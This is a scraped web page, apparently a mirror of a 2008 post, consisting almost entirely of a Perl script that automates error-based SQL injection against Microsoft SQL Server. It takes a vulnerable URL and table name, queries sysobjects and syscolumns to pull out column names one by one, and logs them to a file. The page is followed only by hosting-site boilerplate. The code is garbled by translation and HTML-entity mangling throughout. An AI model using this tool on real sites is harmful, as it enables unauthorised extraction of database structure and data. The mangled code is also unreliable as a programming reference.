Perl burst into columns in mssql Injection

Source: Internet
Author: User

#! /Usr/bin/perl-w
# Codz by n3tl04d
# Date 2008-4-13


Use strict;
Use lwp;

If (@ argv! = 2 ){
& Nbsp; print & quot; usage: $0 injection point Table Name & quot ;;
& Nbsp; exit;
}

My $ browser;
My $ start = time ();
My $ talbe = $ argv [1];
My $ vul = $ argv [0];

Sub do_get {
& Nbsp; $ browser = lwp: useragent-& gt; new unless $ browser;
& Nbsp; my $ resp = $ browser-& gt; get (@_);
& Nbsp; return ($ resp-& gt; content, $ resp-& gt; status_line, $ resp-& gt; is_success, $ resp)
& Nbsp; if wantarray;
& Nbsp; return unless $ resp-& gt; is_success;
& Nbsp; return $ resp-& gt; content;
}

My $ tabl = & quot; $ vul % 20and % 200 & lt; & gt; (select % 20 count (*) % 20 from % 20congaltan. dbo. sysobjects % 20 where % 20 xtype = u % 20and % 20 name = & quot ;. $ talbe. & quot; % 20and % 20uid & gt; (str (id) & quot ;;
My ($ content, $ status, $ is_success) = do_get ($ tabl );

If ($ content = ~ M {value (. + ?)} Gi)
& Nbsp ;{
& Nbsp; print & quot; print id: $1 & quot ;;
& Nbsp; open (file, & quot; & gt; e:/perl/count.txt & quot;) | die (& quot; cocould not open file & quot ;);
& Nbsp; print file & quot; ========================================================== ================================== Table Name: $ talbe id: $1 & quot ;;
& Nbsp; close (file );
& Nbsp; crake ($1 );
& Nbsp;} else {
& Nbsp; print & quot; the table cannot be burst & quot ;;
& Nbsp; last;
& Nbsp ;}

Sub crake {
& Nbsp; my @ arr1 = ();
& Nbsp; for (my $ j = 1; $ j & lt ;= 470; $ j ++ ){
& Nbsp; print & quot; guess the $ j table column & quot ;;
& Nbsp; my @ arr = join (& quot;, & quot;, @ arr1 );
& Nbsp; my $ url = & quot; $ vul % 20and % 200 & lt; & gt; (select % 20top % 201% 20 name % 20 from % 20congaltan. dbo. syscolumns % 20 where % 20id = $ _ [0] % 20and % 20 name % 20not % 20in (@ arr) & quot ;;
& Nbsp;
& Nbsp; my ($ content, $ status, $ is_success) = do_get ($ url );
& Nbsp; if ($ content = ~ M {value (. + ?)} Gi)
& Nbsp ;{
& Nbsp; print & quot; to table column: $1 & quot ;;
& Nbsp; push (@ arr1, $1 );
& Nbsp; save ($1 );
& Nbsp;} else {
& Nbsp; print & quot; complete guessing & quot ;;
& Nbsp; last;
& Nbsp; & nbsp ;}& nbsp; & nbsp;
& Nbsp ;}
}


My $ end = time ();
My $ time = $ end-$ start;
Print & quot;. $ time. & quot; seconds & quot ;;

Sub save {
& Nbsp; open (file1, & quot; & gt; e:/perl/count.txt & quot;) | die (& quot; cocould not open file & quot ;);
& Nbsp; print file1 & quot;-$ _ [0] & quot ;;
& Nbsp; close (file1 );

}

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.